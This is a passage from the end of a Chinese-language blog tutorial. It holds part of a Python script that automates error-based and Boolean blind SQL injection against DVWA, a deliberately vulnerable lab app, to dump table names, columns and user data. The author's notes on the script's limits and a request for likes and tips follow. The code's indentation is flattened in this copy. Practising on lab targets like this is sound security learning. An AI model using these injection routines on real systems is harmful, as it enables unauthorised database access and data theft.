rowContent_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, rowContent_payload)
if res.find('MISSING') == -1:
fields = fields + chr
break
print(fields)
row += 1
if __name__ == "__main__":
print('dvwa medium級別 Error注入')
Get_tables()
users_hex = str_to_hex('users')
Get_columns(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data('users', cols)
print('dvwa medium級別 Boolean盲注')
Get_db_blind()
Get_tables_blind()
Get_columns_blind(f'0x{users_hex}')
cols = ['user', 'avatar']
Get_data_blind('users', 'user')
# Get_data_blind('users', 'avatar')
不滿意的地方
1.花費了我將近一下午的時間,由于post方式,不容易除錯
2.沒有很好的兼容性
3.updatexml注入只能顯示32位,本來想用~來判斷結果,最后使用的pre,顯示的不全,有時間學學報錯注入的其他函式
4.用的話需要修改url,headers,盲注的猜測字符字典
5.用到的包就是request,可以查看Python-requests庫的學習與使用舉例,決議html直接使用的字串查找,可以使用beautifulsoup這個包,
看到這位作業了幾年的老哥,依然很難寫出兼容性強的代碼,感覺好受一點,,, sqlmap還是很強的,不過除了需要一個個
字符猜的那種,不建議使用sqlmap,還是手工比較好,
更多內容查看:網路安全-自學筆記
喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉載請注明出處,并附有原文鏈接,謝謝!如有侵權,請及時聯系,如果您感覺有所識訓,自愿打賞,可選擇支付寶18833895206(小于),您的支持是我不斷更新的動力,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/171600.html
標籤:其他
